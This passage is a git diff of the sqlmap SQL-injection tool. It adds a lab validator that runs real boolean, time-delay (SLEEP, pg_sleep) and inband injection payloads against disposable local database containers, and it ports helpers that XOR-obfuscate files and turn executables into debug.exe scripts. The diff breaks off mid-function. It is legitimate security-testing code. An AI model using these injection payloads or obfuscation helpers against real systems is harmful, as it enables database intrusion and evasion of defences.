b/extra/__init__.py index 8d7bcd8f0a1..bcac841631b 100644 --- a/extra/__init__.py +++ b/extra/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/extra/beep/__init__.py b/extra/beep/__init__.py index 8d7bcd8f0a1..bcac841631b 100644 --- a/extra/beep/__init__.py +++ b/extra/beep/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/extra/beep/beep.py b/extra/beep/beep.py index cd8ef9be523..9e1acd04b0d 100644 --- a/extra/beep/beep.py +++ b/extra/beep/beep.py @@ -3,12 +3,11 @@ """ beep.py - Make a beep sound -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os -import subprocess import sys import wave @@ -16,11 +15,13 @@ def beep(): try: - if subprocess.mswindows: + if sys.platform.startswith("win"): _win_wav_play(BEEP_WAV_FILENAME) - elif sys.platform == "darwin": - _mac_beep() - elif sys.platform == "linux2": + elif sys.platform.startswith("darwin"): + _mac_wav_play(BEEP_WAV_FILENAME) + elif sys.platform.startswith("cygwin"): + _cygwin_beep(BEEP_WAV_FILENAME) + elif any(sys.platform.startswith(_) for _ in ("linux", "freebsd")): _linux_wav_play(BEEP_WAV_FILENAME) else: _speaker_beep() @@ -35,9 +36,12 @@ def _speaker_beep(): except IOError: pass -def _mac_beep(): - import Carbon.Snd - Carbon.Snd.SysBeep(1) +# Reference: https://lists.gnu.org/archive/html/emacs-devel/2014-09/msg00815.html +def _cygwin_beep(filename): + os.system("play-sound-file '%s' 2>/dev/null" % filename) + +def _mac_wav_play(filename): + os.system("afplay '%s' 2>/dev/null" % BEEP_WAV_FILENAME) def _win_wav_play(filename): import winsound @@ -45,7 +49,7 @@ def _win_wav_play(filename): winsound.PlaySound(filename, winsound.SND_FILENAME) def _linux_wav_play(filename): - for _ in ("aplay", "paplay", "play"): + for _ in ("paplay", "aplay", "mpv", "mplayer", "play"): if not os.system("%s '%s' 2>/dev/null" % (_, filename)): return @@ -58,7 +62,10 @@ def _linux_wav_play(filename): class struct_pa_sample_spec(ctypes.Structure): _fields_ = [("format", ctypes.c_int), ("rate", ctypes.c_uint32), ("channels", ctypes.c_uint8)] - pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0") + try: + pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0") + except OSError: + return wave_file = wave.open(filename, "rb") diff --git a/extra/boundarycheck/README.md b/extra/boundarycheck/README.md new file mode 100644 index 00000000000..340de757f95 --- /dev/null +++ b/extra/boundarycheck/README.md @@ -0,0 +1,112 @@ +# boundarycheck + +A live cross-DBMS validator for `data/xml/boundaries.xml`. For every reachable DBMS it builds the +**real** injected value for each boundary (through sqlmap's own `agent.prefixQuery` / `suffixQuery` / +`cleanupPayload`, not a re-implementation) across representative host-query contexts, runs it against +the engine, and classifies each boundary via three oracles: + +``` +W boolean TRUE/FALSE variants are valid AND their row counts differ +T time an inline conditional sleep delays on TRUE, not on FALSE (MySQL / PostgreSQL) +I inband an injected marker surfaces in the result set (table cross-join / UNION) +. inert valid SQL but no channel discriminated in the contexts tried +x invalid a syntax / semantic error on this engine +``` + +It prints a `boundary x engine` matrix plus the boundaries usable via **no** oracle on any engine +(the "no working context found" review candidates). Any engine that does not connect is **skipped** +and reported as such — never silently counted as covered. + +> Scope: covers boolean + inline-time (MySQL/PG) + inband over a sampled set of contexts. It does +> **not** model an error-based oracle, inline time on MSSQL/Oracle (statement/privilege-gated sleep), +> or every possible host context. So a boundary flagged "usable via no oracle" may still work via one +> of those — confirm before acting. + +--- + +## Quick start (throwaway MySQL + PostgreSQL) + +```bash +pip install pymysql psycopg2-binary # python drivers (see below for MSSQL/Oracle) +./run.sh # spins up 2 containers, runs, tears everything down +``` + +`run.sh` is fully disposable: it creates two containers, waits for readiness, runs the tool, and +removes them again on exit (including Ctrl-C / failure). Nothing persists. + +--- + +## Full lab (all four engines) — step by step + +The tool's built-in default endpoints (override any via env var — see below): + +| engine | host:port | user / pass | db / service | +|------------|-------------------|----------------------|--------------| +| MySQL | `127.0.0.1:13306` | `root` / `root` | — | +| PostgreSQL | `127.0.0.1:15432` | `esp` / `pass` | `espdb` | +| MSSQL | `127.0.0.1:11433` | `sa` / `Esp_pass123` | — | +| Oracle | `127.0.0.1:1521` | `system` / `oracle` | `FREEPDB1` | + +### 1. Python drivers + +```bash +pip install pymysql psycopg2-binary pymssql oracledb +``` + +(Install only the ones you need — a missing driver just skips that engine.) + +### 2. Start the containers + +```bash +# MySQL (fast) +docker run -d --rm --name bcheck-mysql -e MYSQL_ROOT_PASSWORD=root -p 13306:3306 mysql:8.4 + +# PostgreSQL (fast) +docker run -d --rm --name bcheck-pg -e POSTGRES_USER=esp -e POSTGRES_PASSWORD=pass -e POSTGRES_DB=espdb -p 15432:5432 postgres:16 + +# MSSQL (slower; ~30-60s to accept connections) +docker run -d --rm --name bcheck-mssql -e ACCEPT_EULA=Y -e MSSQL_SA_PASSWORD=Esp_pass123 -p 11433:1433 mcr.microsoft.com/mssql/server:2022-latest + +# Oracle Free (slowest; first boot can take a few minutes and the image is large) +docker run -d --rm --name bcheck-oracle -e ORACLE_PASSWORD=oracle -p 1521:1521 gvenzl/oracle-free:slim +``` + +Give MSSQL/Oracle time to finish initialising before running the tool (watch `docker logs -f `). + +### 3. Run + +```bash +python3 boundarycheck.py # from anywhere; it locates the sqlmap root itself +``` + +### 4. Override an endpoint (optional) + +``` +BC_MYSQL=host:port:user:pass +BC_POSTGRES=host:port:user:pass:db +BC_MSSQL=host:port:user:pass +BC_ORACLE=host:port:user:pass:service # service_name goes in the db slot +``` + +```bash +BC_MYSQL=10.0.0.5:3306:root:secret python3 boundarycheck.py +``` + +### 5. Tear down + +```bash +docker rm -f bcheck-mysql bcheck-pg bcheck-mssql bcheck-oracle +``` + +--- + +## Notes + +- **Faithfulness:** the tool imports the `plugins.dbms.*` packages so each DBMS's `unescaper` is + registered. Without that, `SELECT '[RANDSTR]'` renders as a bare identifier instead of the real + `0x`-hex / `CHR()` literal and concat-style boundaries are mis-reported. A `_faithful_or_die()` + self-check aborts if the registration ever fails to load. +- **Side-effect-free on the target data:** it creates a scratch table `bc` (and a `boundarycheck` + database on MySQL), and drops them on completion. DML boundaries write only to a spare `note` column. +- Engines are used purely as SQL oracles over localhost throwaway containers — do not point the + override env vars at anything you care about. diff --git a/extra/boundarycheck/boundarycheck.py b/extra/boundarycheck/boundarycheck.py new file mode 100644 index 00000000000..17de09c19fd --- /dev/null +++ b/extra/boundarycheck/boundarycheck.py @@ -0,0 +1,389 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Live cross-DBMS validator for data/xml/boundaries.xml. + +WHAT + For every reachable DBMS this builds the REAL injected parameter value for each + boundary - through the actual agent.prefixQuery / suffixQuery / cleanupPayload + path, NOT a re-implementation - across a set of representative host-query + contexts, runs the TRUE and FALSE variants against the live engine, and + classifies the boundary via three oracles: + + W (WORKS) boolean: TRUE/FALSE variants are valid AND their row counts differ + T (TIME) inline conditional sleep delays on TRUE, not on FALSE (MySQL/PG only) + I (INBAND) an injected marker surfaces in the result set (table cross-join / UNION) + . (inert) valid SQL but no channel discriminates in the contexts tried + x (invalid) a syntax/semantic error on this engine + + Output is a boundary x engine matrix plus the boundaries usable via NO oracle on any + reachable engine - the "no working context found" review candidates. + +WHY + boundaries.xml is the detection core. This answers "does boundary X actually + produce valid, discriminating SQL on engine Y" with evidence instead of argument. + +FAITHFULNESS (do not remove the plugins.dbms.* imports) + The per-DBMS `unescaper` registrations load only when the plugin packages are + imported. Without them "SELECT '[RANDSTR]'" renders as a bare identifier instead + of the real 0x-hex / CHR() literal, and every concat-style boundary is falsely + reported broken. The import plus _faithful_or_die() guard against that. + +SCOPE / LIMITATION + Covers the boolean, inline-time (MySQL/PG) and inband oracles over a representative + set of host contexts. Still NOT modeled: the error-based oracle, inline time on + MSSQL/Oracle (statement/privilege-gated sleep), and any host context not in the set. + So a boundary flagged "usable via NO oracle" may still work via one of those - confirm + before acting. "inert" means no channel discriminated in the contexts tried. + +BENCH + Needs live engines. Defaults target the local docker bench; any engine that does + not connect (driver missing or refused) is SKIPPED and reported as skipped - never + silently counted as covered. Override a target with an env var (host:port:user:pass[:db]): + + MySQL BC_MYSQL default 127.0.0.1:13306:root:root + PostgreSQL BC_POSTGRES default 127.0.0.1:15432:esp:pass:espdb + MSSQL BC_MSSQL default 127.0.0.1:11433:sa:Esp_pass123 + Oracle BC_ORACLE default 127.0.0.1:1521:system:oracle:FREEPDB1 (service_name in db slot) + +USAGE (from the sqlmap root) + python extra/boundarycheck/boundarycheck.py +""" + +from __future__ import print_function + +import os +import sys +import time +import xml.etree.ElementTree as ET + +_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..")) +sys.path.insert(0, _ROOT) +sys.path.insert(0, os.path.join(_ROOT, "tests")) + +from _testutils import bootstrap, set_dbms +bootstrap() + +# Faithfulness (see FAITHFULNESS above): importing each DBMS plugin package runs its module-level +# `unescaper[] = Syntax.escape` registration - a side effect, not a symbol we use. Trigger it via +# import_module so there is no bound-but-unused name for pyflakes to flag. +import importlib +for _plugin in ("mysql", "postgresql", "oracle", "mssqlserver"): + importlib.import_module("plugins.dbms.%s" % _plugin) + +from lib.core.data import conf, kb +from lib.core.datatype import AttribDict +from lib.core.enums import PAYLOAD +from lib.core.unescaper import unescaper +import lib.core.agent as _agentmod + +agent = _agentmod.agent +conf.noEscape = False + +TRUE_PAYLOAD = "AND 9911=9911" +FALSE_PAYLOAD = "AND 9911=9912" +TIME_THRESHOLD = 0.4 # seconds; a conditional sleep of ~0.7s must clear this, a no-op must not +INBAND_MARKER = "qBCiNBANDq" # distinctive token; if it surfaces in the result set the +INBAND_PAYLOAD = "(SELECT '%s')" % INBAND_MARKER # boundary opens an inband output channel (e.g. a table cross-join) + +# per-engine conditional-sleep payload pair (delay-if-true, no-delay) for the TIME oracle. Only engines +# with an INLINE sleep expression are covered; MSSQL (WAITFOR is a statement) and Oracle (DBMS_LOCK/PIPE, +# privilege-gated) need a statement/stacked sleep, so their inline time-usability is NOT modeled here. +SLEEP = { + "MySQL": ("AND 0=(SELECT SLEEP(0.7))", "AND 0=(SELECT SLEEP(0))"), # subquery => fires once, not per-row + "PostgreSQL": ("AND 1=(SELECT 1 FROM pg_sleep(0.7))", "AND 1=(SELECT 1 FROM pg_sleep(0))"), +} + +# portable WHERE-clause contexts at parenthesis depths 0-3 (numeric + single-quoted string), so the +# ')' / '))' / ')))' and "'" / "')" / "'))" boundary families each meet a host that actually closes +# the matching depth. Reused by every engine; engine-specific contexts are appended in the adapters. +WHERE_CONTEXTS = [ + ("SELECT COUNT(*) FROM bc WHERE name LIKE '%%%s%%'", "orig"), # LIKE '%...%' + ("SELECT COUNT(*) FROM bc %s", ""), # bare pre-WHERE (add a WHERE) + ("SELECT COUNT(*) FROM (SELECT * FROM bc WHERE id=%s) q", "1"), # derived table (numeric) + ("SELECT COUNT(*) FROM (SELECT * FROM bc WHERE name='%s') q", "orig"), # derived table (single-quote) + ("SELECT COUNT(*) FROM (SELECT * FROM (SELECT * FROM bc WHERE id=%s) a) q", "1"), # derived table 2-deep + ("SELECT COUNT(*) FROM (SELECT * FROM (SELECT * FROM bc WHERE name='%s') a) q", "orig"), + ("UPDATE bc SET note='%s' WHERE id=1", "orig"), # pre-WHERE DML (rowcount oracle) + ("SELECT * FROM %s", "bc"), # table-name (inband cross-join) +] +for _depth in range(4): + _open, _close = "(" * _depth, ")" * _depth + WHERE_CONTEXTS.append(("SELECT COUNT(*) FROM bc WHERE " + _open + "id=%s" + _close, "1")) + WHERE_CONTEXTS.append(("SELECT COUNT(*) FROM bc WHERE " + _open + "name='%s'" + _close, "orig")) + + +def _faithful_or_die(): + set_dbms("MySQL") + if unescaper.escape("abc", quote=False) == "abc": + sys.exit("FATAL: unescaper not registered - '[RANDSTR]' would render as a bare identifier and " + "verdicts would be wrong. Check the plugins.dbms.* imports at the top of this file.") + + +def build_value(dbms, prefix, suffix, clause, payload, orig): + """The real injected parameter value for where=ORIGINAL (checks.py:490-493 + agent.payload line 181/183).""" + set_dbms(dbms) + kb.injection = AttribDict() + for _ in ("prefix", "suffix", "clause", "ptype", "place", "parameter"): + kb.injection[_] = None + kb.injection.data = AttribDict() + kb.technique = None + forged = agent.prefixQuery(agent.cleanupPayload(payload), prefix, PAYLOAD.WHERE.ORIGINAL, clause) + forged = agent.suffixQuery(forged, None, suffix, PAYLOAD.WHERE.ORIGINAL) + value = agent.cleanupPayload("%s%s" % (orig, forged), orig) or "" + return value.replace(_agentmod.BOUNDARY_BACKSLASH_MARKER, "\\") + + +def make_run(cur, rollback=None): + """A query runner: returns ("ok", rows) for a result set, ("ok", ("rc", n)) for a DML row count + (cursor.description is None => no result set), or ("err", msg). DML lets pre-WHERE boundaries be + judged by affected-row count (TRUE matches rows, FALSE matches none).""" + def run(sql): + try: + cur.execute(sql) + except Exception as e: + if rollback: + try: + rollback() + except Exception: + pass + return ("err", str(e).splitlines()[-1][:50]) + if cur.description is None: + return ("ok", ("rc", cur.rowcount)) + return ("ok", tuple(cur.fetchall())) + return run + + +def classify(run, dbms, prefix, suffix, clause, contexts): + """Best verdict of a boundary across the engine's contexts: WORKS(boolean) > TIME > inert > invalid. + + The TIME oracle only runs when the boolean probe was valid-but-inert (best=='inert') - i.e. the + injected SQL parses and runs but the boolean AND does not change the row count. That is exactly the + error/time-primitive candidate: a conditional sleep that delays on TRUE and not on FALSE proves the + injected expression actually executes. If every boolean probe was a syntax error (best=='invalid'), + the same syntax fails the time payload too, so it is skipped.""" + best = "invalid" + for host, orig in contexts: + st, rt = run(host % build_value(dbms, prefix, suffix, clause, TRUE_PAYLOAD, orig)) + sf, rf = run(host % build_value(dbms, prefix, suffix, clause, FALSE_PAYLOAD, orig)) + if st == "ok" and sf == "ok": + if rt != rf: + return "WORKS" + best = "inert" + + if best == "inert" and dbms in SLEEP: + slow_p, fast_p = SLEEP[dbms] + for host, orig in contexts: + t0 = time.time() + run(host % build_value(dbms, prefix, suffix, clause, slow_p, orig)) + if time.time() - t0 >= TIME_THRESHOLD: # TRUE variant delayed + t0 = time.time() + run(host % build_value(dbms, prefix, suffix, clause, fast_p, orig)) + if time.time() - t0 < TIME_THRESHOLD: # FALSE variant did not + return "TIME" + + # inband: the injected expression's output surfaces directly in the result set (a table-name + # cross-join, UNION or select-list channel) - invisible to the boolean/time oracles above. + for host, orig in contexts: + st, r = run(host % build_value(dbms, prefix, suffix, clause, INBAND_PAYLOAD, orig)) + if st == "ok" and INBAND_MARKER in str(r): + return "INBAND" + return best + + +def _env(name, default): + parts = (os.environ.get(name) or default).split(":") + parts += [None] * (5 - len(parts)) + host, port, user, pwd, db = parts[:5] + return host, int(port), user, pwd, db + + +# --- engine adapters: return (sqlmap_dbms, run_fn, contexts, cleanup_fn) or None to skip ------------- + +def _mysql(): + try: + import pymysql + h, p, u, w, _ = _env("BC_MYSQL", "127.0.0.1:13306:root:root") + c = pymysql.connect(host=h, port=p, user=u, password=w, connect_timeout=5, autocommit=True) + cur = c.cursor() + cur.execute("CREATE DATABASE IF NOT EXISTS boundarycheck") + cur.execute("USE boundarycheck") + for q in ("DROP TABLE IF EXISTS bc", + "CREATE TABLE bc(id INT,name VARCHAR(64),note VARCHAR(64),FULLTEXT(name)) ENGINE=InnoDB", + "INSERT INTO bc VALUES(1,'orig','n'),(2,'x','n'),(3,'y','n')"): + cur.execute(q) + c.commit() + except Exception as ex: + return None, str(ex).splitlines()[0][:60] + + run = make_run(cur, c.rollback) + contexts = WHERE_CONTEXTS + [ + ("SELECT `%s` FROM bc", "name"), # backtick column identifier + ('SELECT COUNT(*) FROM bc WHERE name="%s"', "orig"), # MySQL: " is a string delim + ('SELECT COUNT(*) FROM bc WHERE (name="%s")', "orig"), + ('SELECT COUNT(*) FROM bc WHERE ((name="%s"))', "orig"), + ('SELECT COUNT(*) FROM bc WHERE (((name="%s")))', "orig"), + ('UPDATE bc SET note="%s" WHERE id=1', "orig"), # double-quote pre-WHERE DML + ('SELECT COUNT(*) FROM (SELECT * FROM bc WHERE name="%s") q', "orig"), # dq derived table + ('SELECT COUNT(*) FROM (SELECT * FROM (SELECT * FROM bc WHERE name="%s") a) q', "orig"), + ("SELECT COUNT(*) FROM bc WHERE id=1 /* c='%s' */", "x"), # block comment + ("SELECT COUNT(*) FROM bc WHERE MATCH(name) AGAINST('%s')", "orig"), # fulltext (IN BOOLEAN MODE) + ("SELECT COUNT(*) FROM `%s`", "bc"), # backtick table + ("SELECT COUNT(*) FROM (SELECT * FROM `%s`) q", "bc")] # backtick table in derived + + def cleanup(): + try: + cur.execute("DROP DATABASE boundarycheck"); c.commit(); c.close() + except Exception: + pass + return ("MySQL", run, contexts, cleanup), None + + +def _postgres(): + try: + import psycopg2 + h, p, u, w, db = _env("BC_POSTGRES", "127.0.0.1:15432:esp:pass:espdb") + c = psycopg2.connect(host=h, port=p, user=u, password=w, dbname=db, connect_timeout=5) + c.autocommit = True + cur = c.cursor() + cur.execute("DROP TABLE IF EXISTS bc") + cur.execute("CREATE TABLE bc(id INT,name VARCHAR(64),note VARCHAR(64))") + cur.execute("INSERT INTO bc VALUES(1,'orig','n'),(2,'x','n'),(3,'y','n')") + except Exception as ex: + return None, str(ex).splitlines()[0][:60] + + run = make_run(cur, c.rollback) + contexts = WHERE_CONTEXTS + [ + ('SELECT id FROM bc ORDER BY "%s"', "name"), # ANSI double-quote identifier + ("SELECT COUNT(*) FROM bc WHERE id=1 /* c='%s' */", "x"), # block comment + ("SELECT COUNT(*) FROM bc WHERE name=$$%s$$", "orig")] # dollar quoting + + def cleanup(): + try: + cur.execute("DROP TABLE bc"); c.close() + except Exception: + pass + return ("PostgreSQL", run, contexts, cleanup), None + + +def _mssql(): + try: + import pymssql + h, p, u, w, _ = _env("BC_MSSQL", "127.0.0.1:11433:sa:Esp_pass123") + c = pymssql.connect(server=h, port=p, user=u, password=w, database="master", autocommit=True, login_timeout=5) + cur = c.cursor() + for q in ("IF OBJECT_ID('bc') IS NOT NULL DROP TABLE bc", "CREATE TABLE bc(id INT,name VARCHAR(64),note VARCHAR(64))", + "INSERT INTO bc VALUES(1,'orig','n'),(2,'x','n'),(3,'y','n')"): + cur.execute(q) + except Exception as ex: + return None, str(ex).splitlines()[-1][:60] + + run = make_run(cur) + contexts = WHERE_CONTEXTS + [ + ("SELECT [%s] FROM bc", "name"), # bracket column identifier (string) + ("SELECT [%s] FROM bc", "id"), # bracket column identifier (numeric) + ("SELECT COUNT(*) FROM bc WHERE id=1 /* c='%s' */", "x")] # block comment + + def cleanup(): + try: + cur.execute("IF OBJECT_ID('bc') IS NOT NULL DROP TABLE bc"); c.close() + except Exception: + pass + return ("Microsoft SQL Server", run, contexts, cleanup), None + + +def _oracle(): + try: + try: + import oracledb as ora + except ImportError: + import cx_Oracle as ora + h, p, u, w, svc = _env("BC_ORACLE", "127.0.0.1:1521:system:oracle:FREEPDB1") + c = ora.connect(user=u, password=w, dsn=ora.makedsn(h, p, service_name=svc)) + c.autocommit = True + cur = c.cursor() + for q in ("BEGIN EXECUTE IMMEDIATE 'DROP TABLE bc'; EXCEPTION WHEN OTHERS THEN NULL; END;", + "CREATE TABLE bc(id INT, name VARCHAR2(64), note VARCHAR2(64))", + "INSERT INTO bc VALUES(1,'orig','n')", "INSERT INTO bc VALUES(2,'x','n')"): + cur.execute(q) + c.commit() + except Exception as ex: + return None, str(ex).splitlines()[0][:60] + + run = make_run(cur, c.rollback) + contexts = WHERE_CONTEXTS + [ + ("SELECT COUNT(*) FROM bc WHERE id=1 /* c='%s' */", "x"), # block comment + ("SELECT COUNT(*) FROM bc WHERE name=q'[%s]'", "orig"), # alternative quoting q'[...]' + ("SELECT COUNT(*) FROM bc WHERE name=q'{%s}'", "orig"), + ("SELECT COUNT(*) FROM bc WHERE name=q'(%s)'", "orig"), + ("SELECT COUNT(*) FROM bc WHERE name=q'<%s>'", "orig")] + + def cleanup(): + try: + c.close() + except Exception: + pass + return ("Oracle", run, contexts, cleanup), None + + +ADAPTERS = [_mysql, _postgres, _mssql, _oracle] + + +def main(): + _faithful_or_die() + + boundaries = ET.parse(os.path.join(_ROOT, "data", "xml", "boundaries.xml")).findall(".//boundary") + + engines, skipped = [], [] + for adapter in ADAPTERS: + got, why = adapter() + (engines if got else skipped).append(got or (adapter.__name__.strip("_"), why)) + + if not engines: + print("no reachable DBMS - nothing validated. Bring up the bench (see module docstring).") + for name, why in skipped: + print(" skipped %-12s (%s)" % (name, why)) + return + + names = [e[0] for e in engines] + mark = {"WORKS": "W", "TIME": "T", "INBAND": "I", "inert": ".", "invalid": "x"} + print("boundary%s %s" % (" " * 38, " ".join("%-6s" % n[:6] for n in names))) + print("-" * (46 + 8 * len(names))) + + verdicts = [] + for idx, b in enumerate(boundaries, 1): + g = lambda k: (b.findtext(k) or "").strip() + prefix, suffix = b.findtext("prefix") or "", b.findtext("suffix") or "" # NOT stripped: leading/trailing space is significant SQL + clause = [int(x) for x in (g("clause") or "0").split(",") if x.strip().isdigit()] + row = [] + for dbms, run, contexts, _ in engines: + row.append(classify(run, dbms, prefix, suffix, clause, contexts)) + verdicts.append((idx, prefix, row)) + cells = " ".join("%-6s" % mark[v] for v in row) + print("#%02d p%s c%-5s %-30r %s" % (idx, g("ptype"), g("clause"), prefix[:30], cells)) + + for _, _, _, cleanup in engines: + cleanup() + + print("\nlegend: W=works (boolean) T=works (time) I=works (inband output) .=valid but inert x=invalid") + print("contexts modeled: WHERE numeric/single-quote (paren depths 0-3), LIKE, block comment, plus") + print(" per-engine (MySQL: double-quote + backtick table; PG: ANSI-ident + dollar; Oracle: q'..').") + print(" NOT modeled: pre-WHERE DML (clause 9), derived-table AS-alias, table/column identifier,") + print(" fulltext AGAINST - boundaries needing those (and any error/time-only ones) show inert here.") + print("engines: " + ", ".join(names)) + for name, why in skipped: + print("skipped: %-14s (%s)" % (name, why)) + + never = [idx for idx, _, row in verdicts if not ({"WORKS","TIME","INBAND"} & set(row))] + print("\nboundaries usable via NO oracle (boolean/time/inband) on any reachable engine (review): %s" + % (", ".join("#%02d" % i for i in never) or "none")) + print("NOTE: boolean + inline-time oracles over sampled contexts. Still unmodeled: the ERROR oracle,") + print(" inline time on MSSQL/Oracle (statement/privilege-gated sleep), and some host contexts.") + print(" A boundary here may still be usable via one of those, so confirm before acting.") + + +if __name__ == "__main__": + main() diff --git a/extra/boundarycheck/run.sh b/extra/boundarycheck/run.sh new file mode 100644 index 00000000000..745fb22e048 --- /dev/null +++ b/extra/boundarycheck/run.sh @@ -0,0 +1,43 @@ +#!/usr/bin/env bash +# +# Disposable boundary-check lab. Spins up throwaway MySQL + PostgreSQL containers, runs the +# validator against them, and tears everything down again (even on Ctrl-C / failure). +# +# It uses uncommon host ports and points the tool at them via BC_* env vars, so it will NOT collide +# with any DBMS you already have running (including sqlmap's usual bench). These two engines start in +# seconds and exercise the boolean, time and inband oracles plus the MySQL-only (backtick, double- +# quote, fulltext) and PostgreSQL-only (dollar-quote) families. MSSQL and Oracle are slower/heavier - +# see README.md to add them for full coverage; the tool reports absent engines as "skipped". +# +# Usage: ./run.sh (requires docker + python drivers pymysql, psycopg2 - see README.md) +# +set -euo pipefail + +HERE="$(cd "$(dirname "$0")" && pwd)" +MYSQL_PORT=13399 +PG_PORT=15499 + +cleanup() { docker rm -f bcheck-mysql bcheck-pg >/dev/null 2>&1 || true; } +trap cleanup EXIT +cleanup # clear any stale containers from a previous aborted run + +echo "[*] starting throwaway MySQL (:$MYSQL_PORT) and PostgreSQL (:$PG_PORT) ..." +docker run -d --rm --name bcheck-mysql -e MYSQL_ROOT_PASSWORD=root -p ${MYSQL_PORT}:3306 mysql:8.4 >/dev/null +docker run -d --rm --name bcheck-pg -e POSTGRES_USER=esp -e POSTGRES_PASSWORD=pass -e POSTGRES_DB=espdb -p ${PG_PORT}:5432 postgres:16 >/dev/null + +echo "[*] waiting for readiness ..." +# a real query, not just ping: the mysql:8.4 image accepts pings mid-init then restarts once +for _ in $(seq 1 90); do docker exec bcheck-mysql mysql -uroot -proot -e "SELECT 1" >/dev/null 2>&1 && break; sleep 2; done +for _ in $(seq 1 60); do docker exec bcheck-pg pg_isready -U esp >/dev/null 2>&1 && break; sleep 1; done + +echo "[*] running boundarycheck ..." +# only touch the throwaway containers we just created; force MSSQL/Oracle to skip (closed ports) so +# this never connects to - and creates/drops tables on - whatever might be listening on their defaults. +BC_MYSQL="127.0.0.1:${MYSQL_PORT}:root:root" \ +BC_POSTGRES="127.0.0.1:${PG_PORT}:esp:pass:espdb" \ +BC_MSSQL="127.0.0.1:59998:x:x" \ +BC_ORACLE="127.0.0.1:59997:x:x:x" \ +python3 "$HERE/boundarycheck.py" + +echo "[*] done. MSSQL/Oracle were not started here, so their engine-specific boundaries show in the" +echo " review list - add them per README.md for full coverage. Tearing down (trap removes containers)." diff --git a/extra/cloak/__init__.py b/extra/cloak/__init__.py index 8d7bcd8f0a1..bcac841631b 100644 --- a/extra/cloak/__init__.py +++ b/extra/cloak/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py old mode 100755 new mode 100644 index 5e7d3c6c60a..4b0d70d0c41 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -3,51 +3,52 @@ """ cloak.py - Simple file encryption/compression utility -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import print_function + import os +import struct import sys import zlib from optparse import OptionError from optparse import OptionParser -def hideAscii(data): - retVal = "" - for i in xrange(len(data)): - if ord(data[i]) < 128: - retVal += chr(ord(data[i]) ^ 127) - else: - retVal += data[i] +if sys.version_info >= (3, 0): + xrange = range + ord = lambda _: _ + +KEY = b"ZCuk6GdHSj4KtgDq" - return retVal +def xor(message, key): + return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message))) def cloak(inputFile=None, data=None): if data is None: with open(inputFile, "rb") as f: data = f.read() - return hideAscii(zlib.compress(data)) + return xor(zlib.compress(data), KEY) def decloak(inputFile=None, data=None): if data is None: with open(inputFile, "rb") as f: data = f.read() try: - data = zlib.decompress(hideAscii(data)) - except: - print 'ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile + data = zlib.decompress(xor(data, KEY)) + except Exception as ex: + print(ex) + print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile) sys.exit(1) - finally: - f.close() return data def main(): usage = '%s [-d] -i [-o ]' % sys.argv[0] - parser = OptionParser(usage=usage, version='0.1') + parser = OptionParser(usage=usage, version='0.2') try: parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt') @@ -59,11 +60,11 @@ def main(): if not args.inputFile: parser.error('Missing the input file, -h for help') - except (OptionError, TypeError), e: - parser.error(e) + except (OptionError, TypeError) as ex: + parser.error(ex) if not os.path.isfile(args.inputFile): - print 'ERROR: the provided input file \'%s\' is non existent' % args.inputFile + print('ERROR: the provided input file \'%s\' is non existent' % args.inputFile) sys.exit(1) if not args.decrypt: diff --git a/extra/dbgtool/__init__.py b/extra/dbgtool/__init__.py index 8d7bcd8f0a1..bcac841631b 100644 --- a/extra/dbgtool/__init__.py +++ b/extra/dbgtool/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py index 4d3dc8c5efa..7cdb11b70c1 100644 --- a/extra/dbgtool/dbgtool.py +++ b/extra/dbgtool/dbgtool.py @@ -3,13 +3,14 @@ """ dbgtool.py - Portable executable to ASCII debug script converter -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import print_function + import os import sys -import struct from optparse import OptionError from optparse import OptionParser @@ -19,7 +20,7 @@ def convert(inputFile): fileSize = fileStat.st_size if fileSize > 65280: - print "ERROR: the provided input file '%s' is too big for debug.exe" % inputFile + print("ERROR: the provided input file '%s' is too big for debug.exe" % inputFile) sys.exit(1) script = "n %s\nr cx\n" % os.path.basename(inputFile.replace(".", "_")) @@ -32,7 +33,7 @@ def convert(inputFile): fileContent = fp.read() for fileChar in fileContent: - unsignedFileChar = struct.unpack("B", fileChar)[0] + unsignedFileChar = fileChar if sys.version_info >= (3, 0) else ord(fileChar) if unsignedFileChar != 0: counter2 